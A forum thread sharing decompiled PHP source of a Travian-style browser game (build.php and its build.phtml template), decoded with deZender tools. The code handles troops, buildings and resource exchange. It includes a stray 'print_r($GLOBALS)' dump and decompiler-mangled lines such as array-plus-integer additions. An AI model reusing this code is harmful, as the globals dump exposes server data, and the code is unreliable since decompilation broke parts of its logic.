    public function _getOnlyMyOuterTroops( )    {        $returnTroops = array( );        if ( trim( $this->data['troops_out_num'] ) != "" )        {            $t_arr = explode( "|", $this->data['troops_out_num'] );            foreach ( $t_arr as $t_str )            {                $t2_arr = explode( ":", $t_str );                $t2_arr = explode( ",", $t2_arr[1] );                foreach ( $t2_arr as $t2_str )                {                    $t = explode( " ", $t2_str );                    if ( $t[1] == 0 - 1 )                    {                        continue;                    }                    if ( isset( $returnTroops[$t[0]] ) )                    {                        $returnTroops += $t[0];                    }                    else                    {                        $returnTroops[$t[0]] = $t[1];                    }                }            }        }        if ( trim( $this->data['troops_out_intrap_num'] ) != "" )        {            $t_arr = explode( "|", $this->data['troops_out_intrap_num'] );            foreach ( $t_arr as $t_str )            {                $t2_arr = explode( ":", $t_str );                $t2_arr = explode( ",", $t2_arr[1] );                foreach ( $t2_arr as $t2_str )                {                    $t = explode( " ", $t2_str );                    if ( $t[1] == 0 - 1 )                    {                        continue;                    }                    if ( isset( $returnTroops[$t[0]] ) )                    {                        $returnTroops += $t[0];                    }                    else                    {                        $returnTroops[$t[0]] = $t[1];                    }                }            }        }        return $returnTroops;    }
    public function _getOnlyMyTroops( $toBeHero = FALSE )    {        $t_arr = explode( "|", $this->data['troops_num'] );        foreach ( $t_arr as $t_str )        {            $t2_arr = explode( ":", $t_str );            if ( $t2_arr[0] == 0 - 1 )            {                $t2_arr = explode( ",", $t2_arr[1] );                foreach ( $t2_arr as $t2_str )                {                    $t = explode( " ", $t2_str );                    if ( $toBeHero && ( $t[0] == 99 || $t[0] == 7 || $t[0] == 8 || $t[0] == 9 || $t[0] == 10 || $t[0] == 17 || $t[0] == 18 || $t[0] == 19 || $t[0] == 20 || $t[0] == 27 || $t[0] == 28 || $t[0] == 29 || $t[0] == 30 || $t[0] == 106 || $t[0] == 107 || $t[0] == 108 || $t[0] == 109 || $t[0] == 57 || $t[0] == 58 || $t[0] == 59 || $t[0] == 60 ) )                    {                        continue;                    }                    if ( isset( $this->troops[$t[0]] ) )                    {                        $this->troops += $t[0];                    }                    else                    {                        $this->troops[$t[0]] = $t[1];                    }                }            }        }        if ( !$toBeHero && !isset( $this->troops[99] ) )        {            $this->troops[99] = 0;        }    }
    public function _getMaxBuildingLevel( $itemId )    {        $result = 0;        foreach ( $this->buildings as $villageBuild )        {            if ( $villageBuild['item_id'] == $itemId && $result < $villageBuild['level'] )            {                $result = $villageBuild['level'];            }        }        return $result;    }
    public function _getCurrentNumberFor( $troopId, $item )    {        $num = 0;        if ( isset( $this->troops[$troopId] ) )        {            $num += $this->troops[$troopId];        }        if ( isset( $this->queueModel->tasksInQueue[$this->troopsUpgradeType][$item], $this->queueModel->tasksInQueue[$this->troopsUpgradeType][$item] ) )        {            $qts = $this->queueModel->tasksInQueue[$this->troopsUpgradeType][$item];            foreach ( $qts as $qt )            {                if ( $qt['proc_params'] == $troopId )                {                    $num += $qt['threads'];                }            }        }        $num += $this->_getTroopCountInTransfer( $troopId, QS_WAR_REINFORCE );        $num += $this->_getTroopCountInTransfer( $troopId, QS_WAR_ATTACK );        $num += $this->_getTroopCountInTransfer( $troopId, QS_WAR_ATTACK_PLUNDER );        $num += $this->_getTroopCountInTransfer( $troopId, QS_WAR_ATTACK_SPY );        $num += $this->_getTroopCountInTransfer( $troopId, QS_CREATEVILLAGE );        $ts = $this->_getOnlyMyOuterTroops( );        if ( isset( $ts[$troopId] ) )        {            $num += $ts[$troopId];        }        return $num;    }
    public function _getTroopCountInTransfer( $troopId, $type )    {        $num = 0;        if ( isset( $this->queueModel->tasksInQueue[$type] ) )        {            $qts = $this->queueModel->tasksInQueue[$type];            foreach ( $qts as $qt )            {                $arr = explode( "|", $qt['proc_params'] );                $arr = explode( ",", $arr[0] );                foreach ( $arr as $arrStr )                {                    $tnum = explode( " ", $arrStr );                    $tid = explode( " ", $arrStr );                    list ( $tid, $tnum ) = $tid;                    if ( $tid == $troopId )                    {                        $num += $tnum;                    }                }            }        }        return $num;    }
    public function _getMaxTrainNumber( $troopId, $item )    {        $max = 0;        $_f = TRUE;        foreach ( $this->gameMetadata['troops'][$troopId]['training_resources'] as $k => $v )        {            $num = floor( $this->resources[$k]['current_value'] / ( $v * $this->buildingTribeFactor ) );            if ( $num < $max || $_f )            {                $_f = FALSE;                $max = $num;            }        }        if ( $troopId == 99 )        {            $buildingMetadata = $this->gameMetadata['items'][$this->buildings[$this->buildingIndex]['item_id']]['levels'][$this->buildProperties['building']['level'] - 1];            $_maxValue = $buildingMetadata['value'] - $this->troops[$troopId];            if ( isset( $this->queueModel->tasksInQueue[$this->troopsUpgradeType][$this->buildProperties['building']['item_id']], $this->queueModel->tasksInQueue[$this->troopsUpgradeType][$this->buildProperties['building']['item_id']] ) )            {                $qts = $this->queueModel->tasksInQueue[$this->troopsUpgradeType][$this->buildProperties['building']['item_id']];                foreach ( $qts as $qt )                {                    if ( $qt['proc_params'] == $troopId )                    {                        $_maxValue -= $qt['threads'];                    }                }            }            if ( $_maxValue < $max )            {                $max = $_maxValue;            }        }        else if ( $item == 25 || $item == 26 )        {            $_maxValue = $troopId == 9 || $troopId == 19 || $troopId == 29 || $troopId == 108 || $troopId == 59 ? 1 : 3;            $_maxValue -= $this->_getCurrentNumberFor( $troopId, $item );            if ( $_maxValue < $max )            {                $max = $_maxValue;            }        }        return $max < 0 ? 0 : $max;    }
    public function _canTrainInBuilding( $troopId, $itemId )    {        foreach ( $this->gameMetadata['troops'][$troopId]['trainer_building'] as $buildingId )        {            if ( $buildingId == $itemId )            {                return TRUE;                break;            }        }        return FALSE;    }
    public function _canDoResearches( $troopId )    {        foreach ( $this->gameMetadata['troops'][$troopId]['pre_requests'] as $req_item_id => $level )        {            $result = FALSE;            foreach ( $this->buildings as $villageBuild )            {                if ( $villageBuild['item_id'] == $req_item_id && $level <= $villageBuild['level'] )                {                    $result = TRUE;                    break;                }            }            if ( !$result )            {                return FALSE;                break;            }        }        return TRUE;    }
    public function getNeededTime( $neededResources )    {        $timeInSeconds = 0;        foreach ( $neededResources as $k => $v )        {            if ( !( $this->resources[$k]['current_value'] < $v ) )            {                continue;            }            else if ( $this->resources[$k]['calc_prod_rate'] <= 0 )            {                return 0 - 1;            }            else            {                $time = ( $v - $this->resources[$k]['current_value'] ) / $this->resources[$k]['calc_prod_rate'];                if ( $timeInSeconds < $time )                {                    $timeInSeconds = $time;                }            }        }        return ceil( $timeInSeconds * 3600 );    }
    public function getActionText4( $neededResources, $url, $text, $queueTaskType, $buildLevel, $troopLevel )    {        if ( isset( $this->queueModel->tasksInQueue[$queueTaskType] ) )        {            return "<span class=\"none\">".buildings_p_plwait."</span>";        }        if ( $buildLevel <= $troopLevel )        {            return "<span class=\"none\">".buildings_p_needmorecapacity."</span>";        }        return !$this->isResourcesAvailable( $neededResources ) ? "<span class=\"none\">".buildings_p_notenoughres."</span>" : "<a class=\"build\" href=\"build.php?id=".$this->buildingIndex."&".$url."&k=".$this->data['update_key']."\">".$text."</a>";    }
    public function getActionText3( $neededResources, $url, $text, $queueTaskType )    {        if ( isset( $this->queueModel->tasksInQueue[$queueTaskType] ) )        {            return "<span class=\"none\">".buildings_p_plwait."</span>";        }        return !$this->isResourcesAvailable( $neededResources ) ? "<span class=\"none\">".buildings_p_notenoughres."</span>" : "<a class=\"build\" href=\"build.php?id=".$this->buildingIndex."&".$url."&k=".$this->data['update_key']."\">".$text."</a>";    }
    public function getActionText2( $neededResources )    {        $needUpgradeType = $this->needMoreUpgrades( $neededResources );        if ( 0 < $needUpgradeType )        {            switch ( $needUpgradeType )            {                case 2 :                    return "<span class=\"none\">".buildings_p_upg1."</span>";                case 3 :                    return "<span class=\"none\">".buildings_p_upg2."</span>";                case 4 :                    return "<span class=\"none\">".buildings_p_upg3."</span>";            }        }        if ( !$this->isResourcesAvailable( $neededResources ) )        {            $neededTime = $this->getNeededTime( $neededResources );            return "<span class=\"none\">".( 0 < $neededTime ? buildings_p_willenoughresat." ".( $neededTime )." ".time_hour_lang : buildings_p_notenoughres2 )."</span>";        }        return "";    }
    public function getActionText( $neededResources, $isField, $upgrade, $item_id )    {        $needUpgradeType = $this->needMoreUpgrades( $neededResources, $item_id );        if ( 0 < $needUpgradeType )        {            switch ( $needUpgradeType )            {                case 1 :                    return "<span class=\"none\">".buildings_p_upg0."</span>";                case 2 :                    return "<span class=\"none\">".buildings_p_upg1."</span>";                case 3 :                    return "<span class=\"none\">".buildings_p_upg2."</span>";                case 4 :                    return "<span class=\"none\">".buildings_p_upg3."</span>";            }        }        else        {            $pageNamePostfix = "2";            $link = "<a class=\"build\" href=\"village2.php?id=".$this->buildingIndex."&b=".$item_id."&k=".$this->data['update_key']."\">".buildings_p_create_newbuild."</a>";            $workerResult = $this->isWorkerBusy( $isField );            return $link.( "" );        }        $neededTime = $this->getNeededTime( $neededResources );        return "<span class=\"none\">".( buildings_p_notenoughres2 )."</span>";    }
    public function _canAcceptOffer( $needResources, $giveResources, $villageId, $onlyForAlliance, $allianceId, $maxTime, $distance )    {        if ( $villageId == $this->data['selected_village_id'] )        {            return 0;        }        if ( !$this->isResourcesAvailable( $giveResources ) )        {            return 1;        }        $needMerchantCount = ceil( ( $giveResources[1] + $giveResources[2] + $giveResources[3] + $giveResources[4] ) / $this->merchantProperty['capacity'] );        if ( $needMerchantCount == 0 || $this->merchantProperty['exits_num'] < $needMerchantCount )        {            return 2;        }        if ( $onlyForAlliance && ( intval( $this->data['alliance_id'] ) == 0 || $allianceId != intval( $this->data['alliance_id'] ) ) )        {            return 3;        }        if ( 0 < $maxTime && $maxTime < $distance / $this->merchantProperty['speed'] )        {            return 4;        }        return 5;    }
    public function getNextLink( )    {        $text = "»";        if ( $this->pageIndex + 1 == $this->pageCount )        {            return $text;        }        $link = "";        if ( 0 < $this->selectedTabIndex )        {            $link .= "t=".$this->selectedTabIndex;        }        if ( $link != "" )        {            $link .= "&";        }        $link .= "p=".( $this->pageIndex + 1 );        $link = "build.php?id=".$this->buildingIndex."&".$link;        return "<a href=\"".$link."\">".$text."</a>";    }
    public function getPreviousLink( )    {        $text = "«";        if ( $this->pageIndex == 0 )        {            return $text;        }        $link = "";        if ( 0 < $this->selectedTabIndex )        {            $link .= "t=".$this->selectedTabIndex;        }        if ( 1 < $this->pageIndex )        {            if ( $link != "" )            {                $link .= "&";            }            $link .= "p=".( $this->pageIndex - 1 );        }        $link = "build.php?id=".$this->buildingIndex."&".$link;        return "<a href=\"".$link."\">".$text."</a>";    }
    public function getResourceGoldExchange( $neededResources, $itemId, $buildingIndex, $multiple = FALSE )    {        if ( $this->data['gold_num'] < $this->gameMetadata['plusTable'][6]['cost'] || 0 < $this->needMoreUpgrades( $neededResources, $itemId ) || $this->isResourcesAvailable( $neededResources ) && !$multiple )        {            return "";        }        $s1 = 0;        $s2 = 0;        $exchangeResource = "";        foreach ( $neededResources as $k => $v )        {            $s1 += $v;            $s2 += $this->resources[$k]['current_value'];            if ( $exchangeResource != "" )            {                $exchangeResource .= "&";            }            $exchangeResource .= "r".$k."=".$v;        }        $canExchange = $s1 <= $s2;        if ( $multiple && $canExchange )        {            $num = floor( $s2 / $s1 );            $exchangeResource = "";            foreach ( $neededResources as $k => $v )            {                if ( $exchangeResource != "" )                {                    $exchangeResource .= "&";                }                $exchangeResource .= "r".$k."=".$v * $num;            }        }        return " | <a href=\"build.php?bid=17&t=3&rid=".$buildingIndex."&".$exchangeResource."\" title=\"".buildings_p_m2m."\"><img class=\"npc".( $canExchange ? "" : "_inactive" )."\" src=\"assets/x.gif\" alt=\"".buildings_p_m2m."\" title=\"".buildings_p_m2m."\"></a>";    }
}
$p = new GPage( );$p->run( );print_r($GLOBALS);?>


And this is decoded of build.phtml


PHP:
<?php/**** @ This file is created by Decodeby.US* @ deZender Public (PHP5 Decompiler)** @	Version			:	1.0.0.0* @	Author			:	Ps2Gamer & Cyko* @	Release on		:	30.05.2011* @	Official site	:	http://decodeby.us**/
require_once( LANG_UI_PATH."build.php" );if ( !$this->buildProperties['emptyPlace'] ){    echo "<div id=\"build\" class=\"gid";    echo $this->buildProperties['building']['item_id'];    echo "\">\r\n\t<a href=\"\" onclick=\"return showManual(4, ";    echo $this->buildProperties['building']['item_id'];    echo ");\" class=\"build_logo\"><img class=\"building g";    echo $this->buildProperties['building']['item_id'];    echo "\" src=\"assets/x.gif\" alt=\"";    echo htmlspecialchars( constant( "item_".$this->buildProperties['building']['item_id'] ) );    echo "\" title=\"";    echo htmlspecialchars( constant( "item_".$this->buildProperties['building']['item_id'] ) );    echo "\"></a>\r\n\t<h1>";    echo constant( "item_".$this->buildProperties['building']['item_id'] );    echo " ";    echo "<s";    echo "pan class=\"level\">";    echo level_lang;    echo " ";    echo $this->buildProperties['building']['level'];    echo "</span></h1>\r\n\t<p class=\"build_desc\"></p>\r\n\t<p>";    echo constant( "item_desc_".$this->buildProperties['building']['item_id'] );    echo "</p>\r\n\t<p></p>\r\n\r\n\t";    if ( 4 < $this->buildProperties['building']['item_id'] && 0 < $this->buildProperties['building']['update_state'] && $this->buildProperties['building']['level'] == 0 )    {        echo "\t<p></p><br/><p></p><p class=\"none\">";        echo LANGUI_BUILD_T1;        echo ".</p><p></p><br/><p></p>\r\n\t";    }    else    {        if ( $this->productionPane )        {            echo "\t<table cellpadding=\"1\" cellspacing=\"1\" id=\"build_value\">\r\n\t\t<tbody>\r\n\t\t\t<tr>\r\n\t\t\t\t<th>";            echo constant( "item_curprod_".$this->buildProperties['building']['item_id'] );            echo ":</th>\r\n\t\t\t\t<td><b>";            echo $this->buildProperties['level']['current_value'];            echo "</b> ";            echo constant( "item_unit_".$this->buildProperties['building']['item_id'] );            echo "</td>\r\n\t\t\t</tr>\r\n\t\t\t";            if ( $this->buildProperties['building']['level'] < $this->buildProperties['maxLevel'] )            {                echo "\t\t\t<tr>\r\n\t\t\t\t<th>";                echo constant( "item_nextprod_".$this->buildProperties['building']['item_id'] );                echo " ";                echo $this->buildProperties['nextLevel'];                echo ":</th>\r\n\t\t\t\t<td><b>";                echo $this->buildProperties['level']['value'];                echo "</b> ";                echo constant( "item_unit_".$this->buildProperties['building']['item_id'] );                echo "</td>\r\n\t\t\t</tr>\r\n\t\t\t";            }            echo "\t\t</tbody>\r\n\t</table>\r\n\t";        }        if ( $this->buildingView != "" )        {            require( VIEW_PATH."buildings/".$this->buildingView.".phtml" );        }    }    echo "\t";    if ( $this->buildProperties['maxLevel'] <= $this->buildProperties['building']['level'] )    {        echo "\t<p class=\"none\">";        echo LANGUI_BUILD_T2;        echo " ";        echo constant( "item_".$this->buildProperties['building']['item_id'] );        echo " ";        echo LANGUI_BUILD_T3;        echo "</p>\r\n\t";    }    else if ( $this->buildProperties['maxLevel'] <= $this->buildProperties['upgradeToLevel'] && 0 < $this->buildProperties['building']['update_state'] )    {        echo "\t<p class=\"none\">";        echo LANGUI_BUILD_T4;        echo " ";        echo constant( "item_".$this->buildProperties['building']['item_id'] );        echo " ";        echo LANGUI_BUILD_T3;        echo "</p>\r\n\t";    }    else    {        echo "\t<p id=\"contract\">\r\n\t\t<b>";        echo LANGUI_BUILD_T5;        echo " </b> ";        echo LANGUI_BUILD_T6;        echo " ";        echo $this->buildProperties['nextLevel'];        echo ":<br>\r\n\t\t<img class=\"r1\" src=\"assets/x.gif\" alt=\"";        echo item_title_1;        echo "\" title=\"";        echo item_title_1;        echo "\">";        echo $this->buildProperties['level']['resources'][1];        echo " | \r\n\t\t<img class=\"r2\" src=\"assets/x.gif\" alt=\"";        echo item_title_2;        echo "\" title=\"";        echo item_title_2;        echo "\">";        echo $this->buildProperties['level']['resources'][2];        echo " | \r\n\t\t<img class=\"r3\" src=\"assets/x.gif\" alt=\"";        echo item_title_3;        echo "\" title=\"";        echo item_title_3;        echo "\">";        echo $this->buildProperties['level']['resources'][3];        echo " | \r\n\t\t<img class=\"r4\" src=\"assets/x.gif\" alt=\"";        echo item_title_4;        echo "\" title=\"";        echo item_title_4;        echo "\">";        echo $this->buildProperties['level']['resources'][4];        echo " | \r\n\t\t<img class=\"r5\" src=\"assets/x.gif\" alt=\"";        echo LANGUI_BUILD_T7;        echo "\" title=\"";        echo LANGUI_BUILD_T7;        echo "\">";        echo $this->buildProperties['level']['people_inc'];        echo " | \r\n\t\t<img class=\"clock\" src=\"assets/x.gif\" alt=\"";        echo text_period_lang;        echo "\" title=\"";        echo text_period_lang;        echo "\">";        echo WebHelper::secondstostring( $this->buildProperties['level']['calc_consume'] );        echo "\t\t";        echo $this->getResourceGoldExchange( $this->buildProperties['level']['resources'], $this->buildProperties['building']['item_id'], $this->buildingIndex );        echo "\t\t<br>";        echo $this->getActionText( $this->buildProperties['level']['resources'], $this->buildProperties['building']['item_id'] <= 4, TRUE, $this->buildProperties['building']['item_id'] );        echo "\t</p>\r\n\t";    }    echo "</div>\r\n";    if ( $this->buildProperties['building']['item_id'] <= 4 )    {        echo $this->getFlashContent( "assets/anm/res/r".$this->buildProperties['building']['item_id'].".swf", 130, 160 );    }}else{    echo "<s";    echo "cript language=\"JavaScript\" type=\"text/javascript\">\r\nfunction showPane(list) {\r\n\tvar build_list = _('build_list_'+list);\r\n\tvar link = _(list+'_link');\r\n\r\n\tif (build_list.className == 'hide') {\r\n\t\tbuild_list.className = '';\t\t\r\n\t\tlink.innerHTML = '";    echo LANGUI_BUILD_T8;    echo "';\r\n\t} else {\r\n\t\tbuild_list.className = 'hide';\r\n\t\tlink.innerHTML = '";    echo LANGUI_BUILD_T9;    echo "';\r\n\t}\r\n}\r\n</script>\r\n<div id=\"build\" class=\"gid0\"><h1>";    echo LANGUI_BUILD_T10;    echo "</h1>\r\n\r\n";    foreach ( $this->newBuilds['available'] as $buildArray )    {        foreach ( $buildArray as $item_id => $build )        {            if ( $this->data['is_special_village'] )            {                do                {                    if ( $_GET['id'] == 25 || $_GET['id'] == 26 || $_GET['id'] == 29 || $_GET['id'] == 30 || $_GET['id'] == 33 )                    {                        if ( !( $item_id != 40 ) )                        {                            break;                        }                        else                        {                            continue;                        }                    }                    if ( !( $item_id == 40 ) )                    {                        break;                    }                    continue;                } while ( 0 );            }            if ( $_GET['id'] == 39 && $item_id != 16 )            {                continue;            }            if ( $_GET['id'] == 40 && $item_id != 31 && $item_id != 32 && $item_id != 33 )            {                continue;            }            if ( $_GET['id'] != 39 && $_GET['id'] != 40 && ( $item_id == 16 || $item_id == 31 || $item_id == 32 || $item_id == 33 ) )            {                continue;            }            $neededResources = $build['levels'][0]['resources'];            echo "<h2>";            echo constant( "item_".$item_id );            echo "</h2>\r\n<table class=\"new_building\" cellpadding=\"1\" cellspacing=\"1\">\r\n\t<tbody>\r\n\t\t<tr>\r\n\t\t\t<td class=\"desc\"><p>";            echo constant( "item_desc_".$item_id );            echo "</p></td>\r\n\t\t\t<td rowspan=\"3\" class=\"bimg\">\r\n\t\t\t\t<a href=\"#\" onclick=\"return showManual(4, ";            echo $item_id;            echo ");\"><img class=\"building g";            echo $item_id;            echo "\" src=\"assets/x.gif\" alt=\"";            echo htmlspecialchars( constant( "item_".$item_id ) );            echo "\" title=\"";            echo htmlspecialchars( constant( "item_".$item_id ) );            echo "\"></a>\r\n\t\t\t</td>\r\n\t\t</tr>\r\n\t\t<tr>\r\n\t\t\t<td class=\"res\">\r\n\t\t\t\t<img class=\"r1\" src=\"assets/x.gif\" alt=\"";            echo item_title_1;            echo "\" title=\"";            echo item_title_1;            echo "\">";            echo $neededResources[1];            echo " | \r\n\t\t\t\t<img class=\"r2\" src=\"assets/x.gif\" alt=\"";            echo item_title_2;            echo "\" title=\"";            echo item_title_2;            echo "\">";            echo $neededResources[2];            echo " | \r\n\t\t\t\t<img class=\"r3\" src=\"assets/x.gif\" alt=\"";            echo item_title_3;            echo "\" title=\"";            echo item_title_3;            echo "\">";            echo $neededResources[3];            echo " | \r\n\t\t\t\t<img class=\"r4\" src=\"assets/x.gif\" alt=\"";            echo item_title_4;            echo "\" title=\"";            echo item_title_4;            echo "\">";            echo $neededResources[4];            echo " | \r\n\t\t\t\t<img class=\"r5\" src=\"assets/x.gif\" alt=\"";            echo LANGUI_BUILD_T7;            echo "\" title=\"";            echo LANGUI_BUILD_T7;            echo "\">";            echo $build['levels'][0]['people_inc'];            echo " | \r\n\t\t\t\t<img class=\"clock\" src=\"assets/x.gif\" alt=\"";            echo text_period_lang;            echo "\" title=\"";            echo text_period_lang;            echo "\">";            echo WebHelper::secondstostring( $build['levels'][0]['time_consume'] / $this->gameSpeed * ( $this->data['time_consume_percent'] / 100 ) );            echo "\t\t\t\t";            echo $this->getResourceGoldExchange( $neededResources, $item_id, $this->buildingIndex );            echo "\t\t\t</td>\r\n\t\t</tr>\r\n\t\t<tr>\r\n\t\t\t<td class=\"link\">";            echo $this->getActionText( $neededResources, FALSE, FALSE, $item_id );            echo "</td>\r\n\t\t</tr>\r\n\t</tbody>\r\n</table>\r\n";        }    }    echo "\r\n";    if ( $_GET['id'] != 39 && $_GET['id'] != 40 && !( $this->data['is_special_village'] && ( $_GET['id'] == 25 || $_GET['id'] == 26 || $_GET['id'] == 29 || $_GET['id'] == 30 || $_GET['id'] == 33 ) ) )    {        echo "<p class=\"switch\"><a id=\"soon_link\" href=\"javascript:showPane('soon');\">";        echo LANGUI_BUILD_T9;        echo "</a></p>\r\n<div id=\"build_list_soon\" class=\"hide\">\r\n\r\n";        foreach ( $this->newBuilds['soon'] as $buildArray )        {            foreach ( $buildArray as $item_id => $build )            {                echo "<h2>";                echo constant( "item_".$item_id );                echo "</h2>\r\n<table class=\"new_building\" cellpadding=\"1\" cellspacing=\"1\">\r\n\t<tbody>\r\n\t\t<tr>\r\n\t\t\t<td class=\"desc\"><p>";                echo constant( "item_desc_".$item_id );                echo "</p></td>\r\n\t\t\t<td rowspan=\"3\" class=\"bimg\">\r\n\t\t\t\t<a href=\"#\" onclick=\"return showManual(4, ";                echo $item_id;                echo ");\"><img class=\"building g";                echo $item_id;                echo "\" src=\"assets/x.gif\" alt=\"";                echo htmlspecialchars( constant( "item_".$item_id ) );                echo "\" title=\"";                echo htmlspecialchars( constant( "item_".$item_id ) );                echo "\"></a>\r\n\t\t\t</td>\r\n\t\t</tr>\r\n\t\t<tr>\r\n\t\t\t<td class=\"requ\">";                echo LANGUI_BUILD_T11;                echo ":</td>\r\n\t\t</tr>\r\n\t\t<tr>\r\n\t\t\t<td>\r\n\t\t\t";                $flag = FALSE;                foreach ( $build['pre_requests'] as $reqId => $reqValue )                {                    echo "\t\t\t";                    if ( $flag )                    {                        echo ", ";                    }                    echo "<a href=\"#\" onclick=\"return showManual(4,";                    echo $reqId;                    echo ");\">";                    if ( $reqValue == NULL )                    {                        echo "<strike>";                    }                    echo constant( "item_".$reqId );                    if ( $reqValue == NULL )                    {                        echo "</strike>";                    }                    echo "</a>";                    if ( $reqValue != NULL )                    {                        echo "<s";                        echo "pan title=\"";                        echo $build['pre_requests_dependencyCount'][$reqId] < 0 ? ">" : "+".$build['pre_requests_dependencyCount'][$reqId];                        echo "\"> ";                        echo level_lang;                        echo " ";                        echo $reqValue;                    }                    echo "</span>\r\n\t\t\t";                    $flag = TRUE;                }                echo "\t\t\t</td>\r\n\t\t</tr>\r\n\t</tbody>\r\n</table>\r\n";            }        }        echo "</div>\r\n";    }    echo "</div>\r\n";}?>
Hope you got what you wanted ..
 
Newbie Spellweaver
Joined
Aug 21, 2013
Messages
26
Reaction score
0
Re: [DBOOR] travianby.us - delviewtravian.com AC &amp;quot; new zravian&amp;quot; files

Here is the decoded of build.php

PHP:
<?php/*********************//*                   *//*  Dezend for PHP5  *//*         NWS       *//*      Nulled.WS    *//*                   *//*********************/
require( ".".DIRECTORY_SEPARATOR."app".DIRECTORY_SEPARATOR."boot.php" );require_once( MODEL_PATH."build.php" );class GPage extends VillagePage{
    public $productionPane = TRUE;    public $buildingView = "";    public $buildingIndex = -1;    public $buildProperties = NULL;    public $newBuilds = NULL;    public $troopsUpgrade;    public $troopsUpgradeType;    public $buildingTribeFactor;    public $troops = array( );    public $selectedTabIndex = 0;    public $villageOases;    public $childVillages;    public $hasHero = FALSE;    public $totalCpRate;    public $totalCpValue;    public $neededCpValue;    public $childVillagesCount;    public $showBuildingForm;    public $embassyProperty;    public $merchantProperty;    public $rallyPointProperty;    public $crannyProperty = array( 'buildingCount' => 0, 'totalSize' => 0 );    public $warriorMessage = "";    public $dataList;    public $pageSize = 40;    public $pageCount;    public $pageIndex;
    public function GPage( )    {        parent::villagepage( );         $this->viewFile = "build.phtml";        $this->contentCssClass = "build";    }
    public function onLoadBuildings( $building )    {        $GameMetadata = $GLOBALS['GameMetadata'];        if ( $this->buildingIndex == 0 - 1 && isset( $_GET['bid'] ) && is_numeric( $_GET['bid'] ) && $_GET['bid'] == $building['item_id'] )        {            $this->buildingIndex = $building['index'];        }        if ( $building['item_id'] == 23 && 0 < $building['level'] )        {            ++$this->crannyProperty['buildingCount'];            $this->crannyProperty['totalSize'] += $this->crannyProperty['buildingCount'];        }    }
     public function load( )    {        parent::load( );        if ( $this->buildingIndex == 0 - 1 && isset( $_GET['id'] ) && is_numeric( $_GET['id'] ) && isset( $this->buildings[$_GET['id']] ) )        {            $this->buildingIndex = intval( $_GET['id'] );        }        $this->buildProperties = $this->getBuildingProperties( $this->buildingIndex );        if ( $this->buildProperties == NULL )        {            $this->redirect( "village1.php" );        }        else if ( $this->buildProperties['emptyPlace'] )        {            $this->villagesLinkPostfix .= "&id=".$this->buildingIndex;            $this->newBuilds = array(                "available" => array( ),                "soon" => array( )            );            foreach ( $this->gameMetadata['items'] as $item_id => $build )            {                if ( $item_id <= 4 || !isset( $build['for_tribe_id'][$this->tribeId] ) )                {                    continue;                }                $canBuild = $this->canCreateNewBuild( $item_id );                if ( $canBuild != 0 - 1 )                {                    if ( $canBuild )                    {                        if ( !isset( $this->newBuilds['available'][$build['levels'][0]['time_consume']] ) )                        {                            $this->newBuilds['available'][$build['levels'][0]['time_consume']] = array( );                        }                        $this->newBuilds['available'][$build['levels'][0]['time_consume']][$item_id] = $build;                    }                    else                    {                        $dependencyCount = 0;                        foreach ( $build['pre_requests'] as $reqId => $reqValue )                        {                            if ( $reqValue != NULL )                            {                                $build['pre_requests_dependencyCount'][$reqId] = $reqValue - $this->_getMaxBuildingLevel( $reqId );                                $dependencyCount += $build['pre_requests_dependencyCount'][$reqId];                            }                        }                        if ( !isset( $this->newBuilds['soon'][$dependencyCount] ) )                        {                            $this->newBuilds['soon'][$dependencyCount] = array( );                        }                        $this->newBuilds['soon'][$dependencyCount][$item_id] = $build;                    }                }            }            ksort( $this->newBuilds['available'], SORT_NUMERIC );            ksort( $this->newBuilds['soon'], SORT_NUMERIC );        }        else        {            $bitemId = $this->buildProperties['building']['item_id'];            $this->villagesLinkPostfix .= "&id=".$this->buildingIndex;            if ( 4 < $bitemId )            {                $this->villagesLinkPostfix .= "&bid=".$bitemId;            }            $this->buildingTribeFactor = isset( $this->gameMetadata['items'][$bitemId]['for_tribe_id'][$this->data['tribe_id']] ) ? $this->gameMetadata['items'][$bitemId]['for_tribe_id'][$this->data['tribe_id']] : 1;            if ( $this->buildings[$this->buildingIndex]['level'] == 0 )            {                return;            }            switch ( $bitemId )            {            case 12 :            case 13 :                $this->productionPane = FALSE;                $this->buildingView = "Blacksmith_Armoury";                $this->handleBlacksmithArmoury( );                break;            case 15 :                if ( 10 <= $this->buildings[$this->buildingIndex]['level'] )                {                    $this->buildingView = "MainBuilding";                    $this->handleMainBuilding( );                }                break;            case 16 :                $this->productionPane = FALSE;                $this->buildingView = "RallyPoint";                $this->handleRallyPoint( );                break;            case 17 :                $this->productionPane = FALSE;                $this->buildingView = "Marketplace";                $this->handleMarketplace( );                break;            case 18 :                $this->productionPane = FALSE;                $this->buildingView = "Embassy";                $this->handleEmbassy( );                break;            case 19 :            case 20 :            case 21 :            case 29 :            case 30 :            case 36 :                $this->_getOnlyMyTroops( );                $this->productionPane = $bitemId == 36;                $this->buildingView = "TroopBuilding";                $this->handleTroopBuilding( );                break;            case 22 :                $this->productionPane = FALSE;                $this->buildingView = "Academy";                $this->handleAcademy( );                break;            case 23 :                $this->productionPane = TRUE;                $this->buildingView = "Cranny";                break;            case 24 :                $this->productionPane = FALSE;                $this->buildingView = "TownHall";                $this->handleTownHall( );                break;            case 25 :            case 26 :                $this->productionPane = FALSE;                $this->buildingView = "Residence_Palace";                $this->handleResidencePalace( );                break;            case 37 :                $this->productionPane = FALSE;                $this->buildingView = "HerosMansion";                $this->handleHerosMansion( );                break;            case 40 :                $this->productionPane = FALSE;                break;            case 42 :                $this->_getOnlyMyTroops( );                $this->productionPane = TRUE;                $this->buildingView = "Warrior";                $this->handleWarrior( );            }        }    }
